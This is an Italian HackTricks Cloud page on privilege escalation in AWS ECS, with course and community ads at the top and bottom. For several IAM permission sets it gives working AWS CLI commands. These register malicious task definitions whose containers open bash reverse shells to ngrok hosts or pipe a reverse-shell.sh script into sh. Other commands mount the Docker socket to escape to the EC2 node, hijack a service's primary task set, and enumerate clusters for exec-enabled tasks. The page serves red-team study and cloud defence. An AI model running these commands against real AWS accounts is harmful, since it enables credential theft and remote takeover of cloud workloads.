AWS - ECS Privesc
Reading time: 9 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
ECS
Maggiore info su ECS in:
iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:RunTask
Un attaccante che sfrutta i permessi iam:PassRole
, ecs:RegisterTaskDefinition
e ecs:RunTask
in ECS può generare una nuova definizione di task con un container malevolo che ruba le credenziali dei metadati e eseguirlo.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Impatto Potenziale: Privesc diretto a un diverso ruolo ECS.
iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:StartTask
Proprio come nell'esempio precedente, un attaccante che abusa dei permessi iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:StartTask
in ECS può generare una nuova definizione di task con un container malevolo che ruba le credenziali dei metadati e eseguirlo.
Tuttavia, in questo caso, è necessario avere un'istanza di container per eseguire la definizione di task malevola.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Impatto Potenziale: Privesc diretto a qualsiasi ruolo ECS.
iam:PassRole
, ecs:RegisterTaskDefinition
, (ecs:UpdateService|ecs:CreateService)
Proprio come nell'esempio precedente, un attaccante che abusa dei permessi iam:PassRole
, ecs:RegisterTaskDefinition
, ecs:UpdateService
o ecs:CreateService
in ECS può generare una nuova definizione di task con un container malevolo che ruba le credenziali dei metadati e eseguirlo creando un nuovo servizio con almeno 1 task in esecuzione.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
Impatto Potenziale: Privesc diretto a qualsiasi ruolo ECS.
iam:PassRole
, (ecs:UpdateService|ecs:CreateService)
In realtà, solo con quei permessi è possibile utilizzare le sovrascritture per eseguire comandi arbitrari in un contenitore con un ruolo arbitrario con qualcosa come:
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
Impatto Potenziale: Privesc diretto a qualsiasi ruolo ECS.
ecs:RegisterTaskDefinition
, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
Questo scenario è simile ai precedenti ma senza il permesso iam:PassRole
.
Questo è comunque interessante perché se puoi eseguire un contenitore arbitrario, anche se senza un ruolo, potresti eseguire un contenitore privilegiato per fuggire al nodo e rubare il ruolo IAM EC2 e i ruoli degli altri contenitori ECS in esecuzione nel nodo.
Potresti persino forzare altre attività a essere eseguite all'interno dell'istanza EC2 che comprometti per rubare le loro credenziali (come discusso nella sezione Privesc to node).
warning
Questo attacco è possibile solo se il cluster ECS utilizza istanze EC2 e non Fargate.
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json
printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json
aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2
# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
ecs:ExecuteCommand
, ecs:DescribeTasks,
(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
Un attaccante con ecs:ExecuteCommand
, ecs:DescribeTasks
può eseguire comandi all'interno di un container in esecuzione ed esfiltrare il ruolo IAM ad esso associato (è necessario avere i permessi di descrizione perché è necessario eseguire aws ecs execute-command
).
Tuttavia, per fare ciò, l'istanza del container deve eseguire l'agent ExecuteCommand (che per impostazione predefinita non è attivo).
Pertanto, l'attaccante potrebbe provare a:
- Provare a eseguire un comando in ogni container in esecuzione
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo " Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done
# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
- Se ha
ecs:RunTask
, esegui un'attività conaws ecs run-task --enable-execute-command [...]
- Se ha
ecs:StartTask
, esegui un'attività conaws ecs start-task --enable-execute-command [...]
- Se ha
ecs:CreateService
, crea un servizio conaws ecs create-service --enable-execute-command [...]
- Se ha
ecs:UpdateService
, aggiorna un servizio conaws ecs update-service --enable-execute-command [...]
Puoi trovare esempi di queste opzioni nelle sezioni precedenti di privesc ECS.
Impatto Potenziale: Privesc a un ruolo diverso associato ai contenitori.
ssm:StartSession
Controlla nella pagina di privesc ssm come puoi abusare di questo permesso per privesc a ECS:
iam:PassRole
, ec2:RunInstances
Controlla nella pagina di privesc ec2 come puoi abusare di questi permessi per privesc a ECS:
?ecs:RegisterContainerInstance
TODO: È possibile registrare un'istanza da un diverso account AWS in modo che le attività vengano eseguite su macchine controllate dall'attaccante??
ecs:CreateTaskSet
, ecs:UpdateServicePrimaryTaskSet
, ecs:DescribeTaskSets
note
TODO: Testa questo
Un attaccante con i permessi ecs:CreateTaskSet
, ecs:UpdateServicePrimaryTaskSet
e ecs:DescribeTaskSets
può creare un set di attività malevole per un servizio ECS esistente e aggiornare il set di attività primario. Questo consente all'attaccante di eseguire codice arbitrario all'interno del servizio.
bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json
aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
Impatto Potenziale: Eseguire codice arbitrario nel servizio interessato, potenzialmente influenzando la sua funzionalità o esfiltrando dati sensibili.
Riferimenti
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.